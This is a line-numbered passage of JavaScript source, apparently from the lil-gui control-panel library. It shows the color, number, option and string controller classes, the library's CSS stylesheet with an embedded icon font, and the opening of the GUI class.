  254. this.$input.setAttribute("type", "color");
  255. this.$input.setAttribute("tabindex", -1);
  256. this.$input.setAttribute("aria-labelledby", this.$name.id);
  257. this.$text = document.createElement("input");
  258. this.$text.setAttribute("type", "text");
  259. this.$text.setAttribute("spellcheck", "false");
  260. this.$text.setAttribute("aria-labelledby", this.$name.id);
  261. this.$display = document.createElement("div");
  262. this.$display.classList.add("display");
  263. this.$display.appendChild(this.$input);
  264. this.$widget.appendChild(this.$display);
  265. this.$widget.appendChild(this.$text);
  266. this._format = getColorFormat(this.initialValue);
  267. this._rgbScale = rgbScale;
  268. this._initialValueHexString = this.save();
  269. this._textFocused = false;
  270. this.$input.addEventListener("input", () => {
  271. this._setValueFromHexString(this.$input.value);
  272. });
  273. this.$input.addEventListener("blur", () => {
  274. this._callOnFinishChange();
  275. });
  276. this.$text.addEventListener("input", () => {
  277. const tryParse = normalizeColorString(this.$text.value);
  278. if (tryParse) {
  279. this._setValueFromHexString(tryParse);
  280. }
  281. });
  282. this.$text.addEventListener("focus", () => {
  283. this._textFocused = true;
  284. this.$text.select();
  285. });
  286. this.$text.addEventListener("blur", () => {
  287. this._textFocused = false;
  288. this.updateDisplay();
  289. this._callOnFinishChange();
  290. });
  291. this.$disable = this.$text;
  292. this.updateDisplay();
  293. }
  294. reset() {
  295. this._setValueFromHexString(this._initialValueHexString);
  296. return this;
  297. }
  298. _setValueFromHexString(value) {
  299. if (this._format.isPrimitive) {
  300. const newValue = this._format.fromHexString(value);
  301. this.setValue(newValue);
  302. } else {
  303. this._format.fromHexString(value, this.getValue(), this._rgbScale);
  304. this._callOnChange();
  305. this.updateDisplay();
  306. }
  307. }
  308. save() {
  309. return this._format.toHexString(this.getValue(), this._rgbScale);
  310. }
  311. load(value) {
  312. this._setValueFromHexString(value);
  313. this._callOnFinishChange();
  314. return this;
  315. }
  316. updateDisplay() {
  317. this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
  318. if (!this._textFocused) {
  319. this.$text.value = this.$input.value.substring(1);
  320. }
  321. this.$display.style.backgroundColor = this.$input.value;
  322. return this;
  323. }
  324. }
  325. class FunctionController extends Controller {
  326. constructor(parent, object, property) {
  327. super(parent, object, property, "function");
  328. this.$button = document.createElement("button");
  329. this.$button.appendChild(this.$name);
  330. this.$widget.appendChild(this.$button);
  331. this.$button.addEventListener("click", (e) => {
  332. e.preventDefault();
  333. this.getValue().call(this.object);
  334. });
  335. this.$button.addEventListener("touchstart", () => {
  336. }, { passive: true });
  337. this.$disable = this.$button;
  338. }
  339. }
  340. class NumberController extends Controller {
  341. constructor(parent, object, property, min, max, step) {
  342. super(parent, object, property, "number");
  343. this._initInput();
  344. this.min(min);
  345. this.max(max);
  346. const stepExplicit = step !== void 0;
  347. this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
  348. this.updateDisplay();
  349. }
  350. decimals(decimals) {
  351. this._decimals = decimals;
  352. this.updateDisplay();
  353. return this;
  354. }
  355. min(min) {
  356. this._min = min;
  357. this._onUpdateMinMax();
  358. return this;
  359. }
  360. max(max) {
  361. this._max = max;
  362. this._onUpdateMinMax();
  363. return this;
  364. }
  365. step(step, explicit = true) {
  366. this._step = step;
  367. this._stepExplicit = explicit;
  368. return this;
  369. }
  370. updateDisplay() {
  371. const value = this.getValue();
  372. if (this._hasSlider) {
  373. let percent = (value - this._min) / (this._max - this._min);
  374. percent = Math.max(0, Math.min(percent, 1));
  375. this.$fill.style.width = percent * 100 + "%";
  376. }
  377. if (!this._inputFocused) {
  378. this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
  379. }
  380. return this;
  381. }
  382. _initInput() {
  383. this.$input = document.createElement("input");
  384. this.$input.setAttribute("type", "number");
  385. this.$input.setAttribute("step", "any");
  386. this.$input.setAttribute("aria-labelledby", this.$name.id);
  387. this.$widget.appendChild(this.$input);
  388. this.$disable = this.$input;
  389. const onInput = () => {
  390. let value = parseFloat(this.$input.value);
  391. if (isNaN(value))
  392. return;
  393. if (this._stepExplicit) {
  394. value = this._snap(value);
  395. }
  396. this.setValue(this._clamp(value));
  397. };
  398. const increment = (delta) => {
  399. const value = parseFloat(this.$input.value);
  400. if (isNaN(value))
  401. return;
  402. this._snapClampSetValue(value + delta);
  403. this.$input.value = this.getValue();
  404. };
  405. const onKeyDown = (e) => {
  406. if (e.code === "Enter") {
  407. this.$input.blur();
  408. }
  409. if (e.code === "ArrowUp") {
  410. e.preventDefault();
  411. increment(this._step * this._arrowKeyMultiplier(e));
  412. }
  413. if (e.code === "ArrowDown") {
  414. e.preventDefault();
  415. increment(this._step * this._arrowKeyMultiplier(e) * -1);
  416. }
  417. };
  418. const onWheel = (e) => {
  419. if (this._inputFocused) {
  420. e.preventDefault();
  421. increment(this._step * this._normalizeMouseWheel(e));
  422. }
  423. };
  424. let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
  425. const DRAG_THRESH = 5;
  426. const onMouseDown = (e) => {
  427. initClientX = e.clientX;
  428. initClientY = prevClientY = e.clientY;
  429. testingForVerticalDrag = true;
  430. initValue = this.getValue();
  431. dragDelta = 0;
  432. window.addEventListener("mousemove", onMouseMove);
  433. window.addEventListener("mouseup", onMouseUp);
  434. };
  435. const onMouseMove = (e) => {
  436. if (testingForVerticalDrag) {
  437. const dx = e.clientX - initClientX;
  438. const dy = e.clientY - initClientY;
  439. if (Math.abs(dy) > DRAG_THRESH) {
  440. e.preventDefault();
  441. this.$input.blur();
  442. testingForVerticalDrag = false;
  443. this._setDraggingStyle(true, "vertical");
  444. } else if (Math.abs(dx) > DRAG_THRESH) {
  445. onMouseUp();
  446. }
  447. }
  448. if (!testingForVerticalDrag) {
  449. const dy = e.clientY - prevClientY;
  450. dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
  451. if (initValue + dragDelta > this._max) {
  452. dragDelta = this._max - initValue;
  453. } else if (initValue + dragDelta < this._min) {
  454. dragDelta = this._min - initValue;
  455. }
  456. this._snapClampSetValue(initValue + dragDelta);
  457. }
  458. prevClientY = e.clientY;
  459. };
  460. const onMouseUp = () => {
  461. this._setDraggingStyle(false, "vertical");
  462. this._callOnFinishChange();
  463. window.removeEventListener("mousemove", onMouseMove);
  464. window.removeEventListener("mouseup", onMouseUp);
  465. };
  466. const onFocus = () => {
  467. this._inputFocused = true;
  468. };
  469. const onBlur = () => {
  470. this._inputFocused = false;
  471. this.updateDisplay();
  472. this._callOnFinishChange();
  473. };
  474. this.$input.addEventListener("input", onInput);
  475. this.$input.addEventListener("keydown", onKeyDown);
  476. this.$input.addEventListener("wheel", onWheel, { passive: false });
  477. this.$input.addEventListener("mousedown", onMouseDown);
  478. this.$input.addEventListener("focus", onFocus);
  479. this.$input.addEventListener("blur", onBlur);
  480. }
  481. _initSlider() {
  482. this._hasSlider = true;
  483. this.$slider = document.createElement("div");
  484. this.$slider.classList.add("slider");
  485. this.$fill = document.createElement("div");
  486. this.$fill.classList.add("fill");
  487. this.$slider.appendChild(this.$fill);
  488. this.$widget.insertBefore(this.$slider, this.$input);
  489. this.domElement.classList.add("hasSlider");
  490. const map = (v, a, b, c, d) => {
  491. return (v - a) / (b - a) * (d - c) + c;
  492. };
  493. const setValueFromX = (clientX) => {
  494. const rect = this.$slider.getBoundingClientRect();
  495. let value = map(clientX, rect.left, rect.right, this._min, this._max);
  496. this._snapClampSetValue(value);
  497. };
  498. const mouseDown = (e) => {
  499. this._setDraggingStyle(true);
  500. setValueFromX(e.clientX);
  501. window.addEventListener("mousemove", mouseMove);
  502. window.addEventListener("mouseup", mouseUp);
  503. };
  504. const mouseMove = (e) => {
  505. setValueFromX(e.clientX);
  506. };
  507. const mouseUp = () => {
  508. this._callOnFinishChange();
  509. this._setDraggingStyle(false);
  510. window.removeEventListener("mousemove", mouseMove);
  511. window.removeEventListener("mouseup", mouseUp);
  512. };
  513. let testingForScroll = false, prevClientX, prevClientY;
  514. const beginTouchDrag = (e) => {
  515. e.preventDefault();
  516. this._setDraggingStyle(true);
  517. setValueFromX(e.touches[0].clientX);
  518. testingForScroll = false;
  519. };
  520. const onTouchStart = (e) => {
  521. if (e.touches.length > 1)
  522. return;
  523. if (this._hasScrollBar) {
  524. prevClientX = e.touches[0].clientX;
  525. prevClientY = e.touches[0].clientY;
  526. testingForScroll = true;
  527. } else {
  528. beginTouchDrag(e);
  529. }
  530. window.addEventListener("touchmove", onTouchMove, { passive: false });
  531. window.addEventListener("touchend", onTouchEnd);
  532. };
  533. const onTouchMove = (e) => {
  534. if (testingForScroll) {
  535. const dx = e.touches[0].clientX - prevClientX;
  536. const dy = e.touches[0].clientY - prevClientY;
  537. if (Math.abs(dx) > Math.abs(dy)) {
  538. beginTouchDrag(e);
  539. } else {
  540. window.removeEventListener("touchmove", onTouchMove);
  541. window.removeEventListener("touchend", onTouchEnd);
  542. }
  543. } else {
  544. e.preventDefault();
  545. setValueFromX(e.touches[0].clientX);
  546. }
  547. };
  548. const onTouchEnd = () => {
  549. this._callOnFinishChange();
  550. this._setDraggingStyle(false);
  551. window.removeEventListener("touchmove", onTouchMove);
  552. window.removeEventListener("touchend", onTouchEnd);
  553. };
  554. const callOnFinishChange = this._callOnFinishChange.bind(this);
  555. const WHEEL_DEBOUNCE_TIME = 400;
  556. let wheelFinishChangeTimeout;
  557. const onWheel = (e) => {
  558. const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
  559. if (isVertical && this._hasScrollBar)
  560. return;
  561. e.preventDefault();
  562. const delta = this._normalizeMouseWheel(e) * this._step;
  563. this._snapClampSetValue(this.getValue() + delta);
  564. this.$input.value = this.getValue();
  565. clearTimeout(wheelFinishChangeTimeout);
  566. wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
  567. };
  568. this.$slider.addEventListener("mousedown", mouseDown);
  569. this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
  570. this.$slider.addEventListener("wheel", onWheel, { passive: false });
  571. }
  572. _setDraggingStyle(active, axis = "horizontal") {
  573. if (this.$slider) {
  574. this.$slider.classList.toggle("active", active);
  575. }
  576. document.body.classList.toggle("lil-gui-dragging", active);
  577. document.body.classList.toggle(`lil-gui-${axis}`, active);
  578. }
  579. _getImplicitStep() {
  580. if (this._hasMin && this._hasMax) {
  581. return (this._max - this._min) / 1e3;
  582. }
  583. return 0.1;
  584. }
  585. _onUpdateMinMax() {
  586. if (!this._hasSlider && this._hasMin && this._hasMax) {
  587. if (!this._stepExplicit) {
  588. this.step(this._getImplicitStep(), false);
  589. }
  590. this._initSlider();
  591. this.updateDisplay();
  592. }
  593. }
  594. _normalizeMouseWheel(e) {
  595. let { deltaX, deltaY } = e;
  596. if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
  597. deltaX = 0;
  598. deltaY = -e.wheelDelta / 120;
  599. deltaY *= this._stepExplicit ? 1 : 10;
  600. }
  601. const wheel = deltaX + -deltaY;
  602. return wheel;
  603. }
  604. _arrowKeyMultiplier(e) {
  605. let mult = this._stepExplicit ? 1 : 10;
  606. if (e.shiftKey) {
  607. mult *= 10;
  608. } else if (e.altKey) {
  609. mult /= 10;
  610. }
  611. return mult;
  612. }
  613. _snap(value) {
  614. const r = Math.round(value / this._step) * this._step;
  615. return parseFloat(r.toPrecision(15));
  616. }
  617. _clamp(value) {
  618. if (value < this._min)
  619. value = this._min;
  620. if (value > this._max)
  621. value = this._max;
  622. return value;
  623. }
  624. _snapClampSetValue(value) {
  625. this.setValue(this._clamp(this._snap(value)));
  626. }
  627. get _hasScrollBar() {
  628. const root = this.parent.root.$children;
  629. return root.scrollHeight > root.clientHeight;
  630. }
  631. get _hasMin() {
  632. return this._min !== void 0;
  633. }
  634. get _hasMax() {
  635. return this._max !== void 0;
  636. }
  637. }
  638. class OptionController extends Controller {
  639. constructor(parent, object, property, options) {
  640. super(parent, object, property, "option");
  641. this.$select = document.createElement("select");
  642. this.$select.setAttribute("aria-labelledby", this.$name.id);
  643. this.$display = document.createElement("div");
  644. this.$display.classList.add("display");
  645. this._values = Array.isArray(options) ? options : Object.values(options);
  646. this._names = Array.isArray(options) ? options : Object.keys(options);
  647. this._names.forEach((name) => {
  648. const $option = document.createElement("option");
  649. $option.innerHTML = name;
  650. this.$select.appendChild($option);
  651. });
  652. this.$select.addEventListener("change", () => {
  653. this.setValue(this._values[this.$select.selectedIndex]);
  654. this._callOnFinishChange();
  655. });
  656. this.$select.addEventListener("focus", () => {
  657. this.$display.classList.add("focus");
  658. });
  659. this.$select.addEventListener("blur", () => {
  660. this.$display.classList.remove("focus");
  661. });
  662. this.$widget.appendChild(this.$select);
  663. this.$widget.appendChild(this.$display);
  664. this.$disable = this.$select;
  665. this.updateDisplay();
  666. }
  667. updateDisplay() {
  668. const value = this.getValue();
  669. const index = this._values.indexOf(value);
  670. this.$select.selectedIndex = index;
  671. this.$display.innerHTML = index === -1 ? value : this._names[index];
  672. return this;
  673. }
  674. }
  675. class StringController extends Controller {
  676. constructor(parent, object, property) {
  677. super(parent, object, property, "string");
  678. this.$input = document.createElement("input");
  679. this.$input.setAttribute("type", "text");
  680. this.$input.setAttribute("aria-labelledby", this.$name.id);
  681. this.$input.addEventListener("input", () => {
  682. this.setValue(this.$input.value);
  683. });
  684. this.$input.addEventListener("keydown", (e) => {
  685. if (e.code === "Enter") {
  686. this.$input.blur();
  687. }
  688. });
  689. this.$input.addEventListener("blur", () => {
  690. this._callOnFinishChange();
  691. });
  692. this.$widget.appendChild(this.$input);
  693. this.$disable = this.$input;
  694. this.updateDisplay();
  695. }
  696. updateDisplay() {
  697. this.$input.value = this.getValue();
  698. return this;
  699. }
  700. }
  701. const stylesheet = `.lil-gui {
  702. font-family: var(--font-family);
  703. font-size: var(--font-size);
  704. line-height: 1;
  705. font-weight: normal;
  706. font-style: normal;
  707. text-align: left;
  708. background-color: var(--background-color);
  709. color: var(--text-color);
  710. user-select: none;
  711. -webkit-user-select: none;
  712. touch-action: manipulation;
  713. --background-color: #1f1f1f;
  714. --text-color: #ebebeb;
  715. --title-background-color: #111111;
  716. --title-text-color: #ebebeb;
  717. --widget-color: #424242;
  718. --hover-color: #4f4f4f;
  719. --focus-color: #595959;
  720. --number-color: #2cc9ff;
  721. --string-color: #a2db3c;
  722. --font-size: 11px;
  723. --input-font-size: 11px;
  724. --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  725. --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
  726. --padding: 4px;
  727. --spacing: 4px;
  728. --widget-height: 20px;
  729. --name-width: 45%;
  730. --slider-knob-width: 2px;
  731. --slider-input-width: 27%;
  732. --color-input-width: 27%;
  733. --slider-input-min-width: 45px;
  734. --color-input-min-width: 45px;
  735. --folder-indent: 7px;
  736. --widget-padding: 0 0 0 3px;
  737. --widget-border-radius: 2px;
  738. --checkbox-size: calc(0.75 * var(--widget-height));
  739. --scrollbar-width: 5px;
  740. }
  741. .lil-gui, .lil-gui * {
  742. box-sizing: border-box;
  743. margin: 0;
  744. padding: 0;
  745. }
  746. .lil-gui.root {
  747. width: var(--width, 245px);
  748. display: flex;
  749. flex-direction: column;
  750. }
  751. .lil-gui.root > .title {
  752. background: var(--title-background-color);
  753. color: var(--title-text-color);
  754. }
  755. .lil-gui.root > .children {
  756. overflow-x: hidden;
  757. overflow-y: auto;
  758. }
  759. .lil-gui.root > .children::-webkit-scrollbar {
  760. width: var(--scrollbar-width);
  761. height: var(--scrollbar-width);
  762. background: var(--background-color);
  763. }
  764. .lil-gui.root > .children::-webkit-scrollbar-thumb {
  765. border-radius: var(--scrollbar-width);
  766. background: var(--focus-color);
  767. }
  768. @media (pointer: coarse) {
  769. .lil-gui.allow-touch-styles {
  770. --widget-height: 28px;
  771. --padding: 6px;
  772. --spacing: 6px;
  773. --font-size: 13px;
  774. --input-font-size: 16px;
  775. --folder-indent: 10px;
  776. --scrollbar-width: 7px;
  777. --slider-input-min-width: 50px;
  778. --color-input-min-width: 65px;
  779. }
  780. }
  781. .lil-gui.force-touch-styles {
  782. --widget-height: 28px;
  783. --padding: 6px;
  784. --spacing: 6px;
  785. --font-size: 13px;
  786. --input-font-size: 16px;
  787. --folder-indent: 10px;
  788. --scrollbar-width: 7px;
  789. --slider-input-min-width: 50px;
  790. --color-input-min-width: 65px;
  791. }
  792. .lil-gui.autoPlace {
  793. max-height: 100%;
  794. position: fixed;
  795. top: 0;
  796. right: 15px;
  797. z-index: 1001;
  798. }
  799.  
  800. .lil-gui .controller {
  801. display: flex;
  802. align-items: center;
  803. padding: 0 var(--padding);
  804. margin: var(--spacing) 0;
  805. }
  806. .lil-gui .controller.disabled {
  807. opacity: 0.5;
  808. }
  809. .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
  810. pointer-events: none !important;
  811. }
  812. .lil-gui .controller > .name {
  813. min-width: var(--name-width);
  814. flex-shrink: 0;
  815. white-space: pre;
  816. padding-right: var(--spacing);
  817. line-height: var(--widget-height);
  818. }
  819. .lil-gui .controller .widget {
  820. position: relative;
  821. display: flex;
  822. align-items: center;
  823. width: 100%;
  824. min-height: var(--widget-height);
  825. }
  826. .lil-gui .controller.string input {
  827. color: var(--string-color);
  828. }
  829. .lil-gui .controller.boolean .widget {
  830. cursor: pointer;
  831. }
  832. .lil-gui .controller.color .display {
  833. width: 100%;
  834. height: var(--widget-height);
  835. border-radius: var(--widget-border-radius);
  836. position: relative;
  837. }
  838. @media (hover: hover) {
  839. .lil-gui .controller.color .display:hover:before {
  840. content: " ";
  841. display: block;
  842. position: absolute;
  843. border-radius: var(--widget-border-radius);
  844. border: 1px solid #fff9;
  845. top: 0;
  846. right: 0;
  847. bottom: 0;
  848. left: 0;
  849. }
  850. }
  851. .lil-gui .controller.color input[type=color] {
  852. opacity: 0;
  853. width: 100%;
  854. height: 100%;
  855. cursor: pointer;
  856. }
  857. .lil-gui .controller.color input[type=text] {
  858. margin-left: var(--spacing);
  859. font-family: var(--font-family-mono);
  860. min-width: var(--color-input-min-width);
  861. width: var(--color-input-width);
  862. flex-shrink: 0;
  863. }
  864. .lil-gui .controller.option select {
  865. opacity: 0;
  866. position: absolute;
  867. width: 100%;
  868. max-width: 100%;
  869. }
  870. .lil-gui .controller.option .display {
  871. position: relative;
  872. pointer-events: none;
  873. border-radius: var(--widget-border-radius);
  874. height: var(--widget-height);
  875. line-height: var(--widget-height);
  876. max-width: 100%;
  877. overflow: hidden;
  878. word-break: break-all;
  879. padding-left: 0.55em;
  880. padding-right: 1.75em;
  881. background: var(--widget-color);
  882. }
  883. @media (hover: hover) {
  884. .lil-gui .controller.option .display.focus {
  885. background: var(--focus-color);
  886. }
  887. }
  888. .lil-gui .controller.option .display.active {
  889. background: var(--focus-color);
  890. }
  891. .lil-gui .controller.option .display:after {
  892. font-family: "lil-gui";
  893. content: "↕";
  894. position: absolute;
  895. top: 0;
  896. right: 0;
  897. bottom: 0;
  898. padding-right: 0.375em;
  899. }
  900. .lil-gui .controller.option .widget,
  901. .lil-gui .controller.option select {
  902. cursor: pointer;
  903. }
  904. @media (hover: hover) {
  905. .lil-gui .controller.option .widget:hover .display {
  906. background: var(--hover-color);
  907. }
  908. }
  909. .lil-gui .controller.number input {
  910. color: var(--number-color);
  911. }
  912. .lil-gui .controller.number.hasSlider input {
  913. margin-left: var(--spacing);
  914. width: var(--slider-input-width);
  915. min-width: var(--slider-input-min-width);
  916. flex-shrink: 0;
  917. }
  918. .lil-gui .controller.number .slider {
  919. width: 100%;
  920. height: var(--widget-height);
  921. background-color: var(--widget-color);
  922. border-radius: var(--widget-border-radius);
  923. padding-right: var(--slider-knob-width);
  924. overflow: hidden;
  925. cursor: ew-resize;
  926. touch-action: pan-y;
  927. }
  928. @media (hover: hover) {
  929. .lil-gui .controller.number .slider:hover {
  930. background-color: var(--hover-color);
  931. }
  932. }
  933. .lil-gui .controller.number .slider.active {
  934. background-color: var(--focus-color);
  935. }
  936. .lil-gui .controller.number .slider.active .fill {
  937. opacity: 0.95;
  938. }
  939. .lil-gui .controller.number .fill {
  940. height: 100%;
  941. border-right: var(--slider-knob-width) solid var(--number-color);
  942. box-sizing: content-box;
  943. }
  944.  
  945. .lil-gui-dragging .lil-gui {
  946. --hover-color: var(--widget-color);
  947. }
  948. .lil-gui-dragging * {
  949. cursor: ew-resize !important;
  950. }
  951.  
  952. .lil-gui-dragging.lil-gui-vertical * {
  953. cursor: ns-resize !important;
  954. }
  955.  
  956. .lil-gui .title {
  957. --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
  958. height: var(--title-height);
  959. line-height: calc(var(--title-height) - 4px);
  960. font-weight: 600;
  961. padding: 0 var(--padding);
  962. -webkit-tap-highlight-color: transparent;
  963. cursor: pointer;
  964. outline: none;
  965. text-decoration-skip: objects;
  966. }
  967. .lil-gui .title:before {
  968. font-family: "lil-gui";
  969. content: "▾";
  970. padding-right: 2px;
  971. display: inline-block;
  972. }
  973. .lil-gui .title:active {
  974. background: var(--title-background-color);
  975. opacity: 0.75;
  976. }
  977. @media (hover: hover) {
  978. body:not(.lil-gui-dragging) .lil-gui .title:hover {
  979. background: var(--title-background-color);
  980. opacity: 0.85;
  981. }
  982. .lil-gui .title:focus {
  983. text-decoration: underline var(--focus-color);
  984. }
  985. }
  986. .lil-gui.root > .title:focus {
  987. text-decoration: none !important;
  988. }
  989. .lil-gui.closed > .title:before {
  990. content: "▸";
  991. }
  992. .lil-gui.closed > .children {
  993. transform: translateY(-7px);
  994. opacity: 0;
  995. }
  996. .lil-gui.closed:not(.transition) > .children {
  997. display: none;
  998. }
  999. .lil-gui.transition > .children {
  1000. transition-duration: 300ms;
  1001. transition-property: height, opacity, transform;
  1002. transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
  1003. overflow: hidden;
  1004. pointer-events: none;
  1005. }
  1006. .lil-gui .children:empty:before {
  1007. content: "Empty";
  1008. padding: 0 var(--padding);
  1009. margin: var(--spacing) 0;
  1010. display: block;
  1011. height: var(--widget-height);
  1012. font-style: italic;
  1013. line-height: var(--widget-height);
  1014. opacity: 0.5;
  1015. }
  1016. .lil-gui.root > .children > .lil-gui > .title {
  1017. border: 0 solid var(--widget-color);
  1018. border-width: 1px 0;
  1019. transition: border-color 300ms;
  1020. }
  1021. .lil-gui.root > .children > .lil-gui.closed > .title {
  1022. border-bottom-color: transparent;
  1023. }
  1024. .lil-gui + .controller {
  1025. border-top: 1px solid var(--widget-color);
  1026. margin-top: 0;
  1027. padding-top: var(--spacing);
  1028. }
  1029. .lil-gui .lil-gui .lil-gui > .title {
  1030. border: none;
  1031. }
  1032. .lil-gui .lil-gui .lil-gui > .children {
  1033. border: none;
  1034. margin-left: var(--folder-indent);
  1035. border-left: 2px solid var(--widget-color);
  1036. }
  1037. .lil-gui .lil-gui .controller {
  1038. border: none;
  1039. }
  1040.  
  1041. .lil-gui input {
  1042. -webkit-tap-highlight-color: transparent;
  1043. border: 0;
  1044. outline: none;
  1045. font-family: var(--font-family);
  1046. font-size: var(--input-font-size);
  1047. border-radius: var(--widget-border-radius);
  1048. height: var(--widget-height);
  1049. background: var(--widget-color);
  1050. color: var(--text-color);
  1051. width: 100%;
  1052. }
  1053. @media (hover: hover) {
  1054. .lil-gui input:hover {
  1055. background: var(--hover-color);
  1056. }
  1057. .lil-gui input:active {
  1058. background: var(--focus-color);
  1059. }
  1060. }
  1061. .lil-gui input:disabled {
  1062. opacity: 1;
  1063. }
  1064. .lil-gui input[type=text],
  1065. .lil-gui input[type=number] {
  1066. padding: var(--widget-padding);
  1067. }
  1068. .lil-gui input[type=text]:focus,
  1069. .lil-gui input[type=number]:focus {
  1070. background: var(--focus-color);
  1071. }
  1072. .lil-gui input::-webkit-outer-spin-button,
  1073. .lil-gui input::-webkit-inner-spin-button {
  1074. -webkit-appearance: none;
  1075. margin: 0;
  1076. }
  1077. .lil-gui input[type=number] {
  1078. -moz-appearance: textfield;
  1079. }
  1080. .lil-gui input[type=checkbox] {
  1081. appearance: none;
  1082. -webkit-appearance: none;
  1083. height: var(--checkbox-size);
  1084. width: var(--checkbox-size);
  1085. border-radius: var(--widget-border-radius);
  1086. text-align: center;
  1087. cursor: pointer;
  1088. }
  1089. .lil-gui input[type=checkbox]:checked:before {
  1090. font-family: "lil-gui";
  1091. content: "✓";
  1092. font-size: var(--checkbox-size);
  1093. line-height: var(--checkbox-size);
  1094. }
  1095. @media (hover: hover) {
  1096. .lil-gui input[type=checkbox]:focus {
  1097. box-shadow: inset 0 0 0 1px var(--focus-color);
  1098. }
  1099. }
  1100. .lil-gui button {
  1101. -webkit-tap-highlight-color: transparent;
  1102. outline: none;
  1103. cursor: pointer;
  1104. font-family: var(--font-family);
  1105. font-size: var(--font-size);
  1106. color: var(--text-color);
  1107. width: 100%;
  1108. height: var(--widget-height);
  1109. text-transform: none;
  1110. background: var(--widget-color);
  1111. border-radius: var(--widget-border-radius);
  1112. border: 1px solid var(--widget-color);
  1113. text-align: center;
  1114. line-height: calc(var(--widget-height) - 4px);
  1115. }
  1116. @media (hover: hover) {
  1117. .lil-gui button:hover {
  1118. background: var(--hover-color);
  1119. border-color: var(--hover-color);
  1120. }
  1121. .lil-gui button:focus {
  1122. border-color: var(--focus-color);
  1123. }
  1124. }
  1125. .lil-gui button:active {
  1126. background: var(--focus-color);
  1127. }
  1128.  
  1129. @font-face {
  1130. font-family: "lil-gui";
  1131. src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
  1132. }`;
  1133. function _injectStyles(cssContent) {
  1134. const injected = document.createElement("style");
  1135. injected.innerHTML = cssContent;
  1136. const before = document.querySelector("head link[rel=stylesheet], head style");
  1137. if (before) {
  1138. document.head.insertBefore(injected, before);
  1139. } else {
  1140. document.head.appendChild(injected);
  1141. }
  1142. }
  1143. let stylesInjected = false;
  1144. class GUI {
  1145. constructor({
  1146. parent,
  1147. autoPlace = parent === void 0,
  1148. container,
  1149. width,
  1150. title = "Controls",
  1151. injectStyles = true,
  1152. touchStyles = true
  1153. } = {}) {
  1154. this.parent = parent;
  1155. this.root = parent ? parent.root : this;
  1156. this.children = [];
  1157. this.controllers = [];
  1158. this.folders = [];
  1159. this._closed = false;
  1160. this._hidden = false;
  1161. this.domElement = document.createElement("div");
  1162. this.domElement.classList.add("lil-gui");
  1163. this.$title = document.createElement("div");
  1164. this.$title.classList.add("title");
